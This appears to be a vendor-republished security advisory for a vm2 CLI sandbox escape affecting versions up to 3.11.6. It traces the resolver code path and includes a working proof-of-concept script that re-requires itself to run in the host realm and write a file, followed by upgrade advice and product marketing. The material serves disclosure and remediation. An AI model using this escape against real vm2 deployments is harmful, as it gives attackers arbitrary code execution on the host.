Summary
vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts
The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured. With these defaults the resolver loads every relative or absolute require() target through the host require() function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to vm2 ./script.js can call require(__filename) to re-execute itself in host realm and reach fs, child_process, etc. The documented sandbox runner is therefore equivalent to node ./script.js. No additional files, flags, or user interaction are required.
Details
The vulnerability lets a malicious sandboxed script - the file argument to the documented vm2 <file> CLI - execute arbitrary code in the host Node.js process, crossing the sandbox → host boundary that vm2 is meant to enforce.
Vulnerable code path
- Source -
bin/vm2:3→lib/cli.js:7-18.process.argv[2]is the
attacker-authored script path. The CLI invokes:
WithoutNodeVM.file(path, { verbose: true, require: { external: true } });require.root,require.context, norrequire.builtin. - Hop -
lib/nodevm.js:618-636.NodeVM.filereads the file and callsnew NodeVM(options).run(body, resolvedFilename). - Hop -
lib/nodevm.js:335→lib/resolver-compat.js:205-266
(makeResolverFromLegacyOptions). Destructuresexternal:true,rootPaths=undefined,hostRequire=defaultRequire(line 218),context='host'(default, line 219). Becausetypeof externalOpt !== 'object'
(line 265) it returns aCustomResolverwithcheckedRootPaths=undefinedandpathContext = () => 'host'(line 263). - Hop -
lib/setup-node-sandbox.js:86-123(requireImpl). Sandboxrequire(id)resolves viaresolver.resolve(...)(lib/nodevm.js:380-383).lib/resolver.js:244-275handles absolute/relative specifiers;tryFileatlib/resolver.js:327-329gates onthis.isPathAllowed(x). - Barrier (gap) -
lib/resolver-compat.js:53-54:
With noisPathAllowed(filename) { if (this.rootPaths === undefined) return true;rootconfigured, every filesystem path is allowed.checkAccess
(lib/resolver.js:39-42) delegates to the same method. - Sink -
lib/resolver-compat.js:74-77:loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...); const m = this.hostRequire(filename); // ← host-realm require() mod.exports = vm.readonly(m); }hostRequireisdefaultRequire(lib/resolver-compat.js:20-23) - the real
hostrequire(). The required module's top-level body executes in the host
realm beforevm.readonly()wraps the exports; wrapping happens too late to
constrain side-effects.loadNode(lib/resolver-compat.js:80-83) is
identical for.nodenative addons (process.dlopenin host).
PoC
Save the following as /tmp/poc.js:
'use strict';
try {
// Host realm: fs is available - write sentinel and stop.
const fs = require('fs');
fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n');
console.log('HOST realm: wrote /tmp/vm2.proof');
} catch (e) {
// Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -
// the CLI resolver loads it via host require() (resolver-compat.js:76).
console.log('sandbox realm: fs blocked (' + e.message + '); escaping');
require(__filename);
}
Run via the shipped CLI exactly as the README documents:
node ./bin/vm2 /tmp/poc.js # or `vm2 /tmp/poc.js` after `npm i -g vm2`
Observed output:
sandbox realm: fs blocked (Cannot find module 'fs'); escaping
HOST realm: wrote /tmp/vm2.proof
/tmp/vm2.proof exists, written by fs.writeFileSync from a script whose
direct require('fs') was blocked by the sandbox. The first line proves the
boundary exists; the second proves it was crossed.
Impact
A user who follows the README's CLI section and runs vm2 ./untrusted.js on an
attacker-supplied file gets arbitrary code execution as that user - the
sandbox provides no isolation in this configuration. The blast radius is the
full host Node.js process: fs, child_process, process.dlopen, network,
environment.
CVE-2026-92950 has a CVSS score of 8.6 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-92950? CVE-2026-92950 is a high-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.6. It is fixed in 3.11.7.
- How severe is CVE-2026-92950? CVE-2026-92950 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of vm2 are affected by CVE-2026-92950? vm2 (npm) versions <= 3.11.6 is affected.
- Is there a fix for CVE-2026-92950? Yes. CVE-2026-92950 is fixed in 3.11.7. Upgrade to this version or later.
- Is CVE-2026-92950 exploitable, and should I be worried? Whether CVE-2026-92950 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-92950 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-92950? Upgrade
vm2to 3.11.7 or later.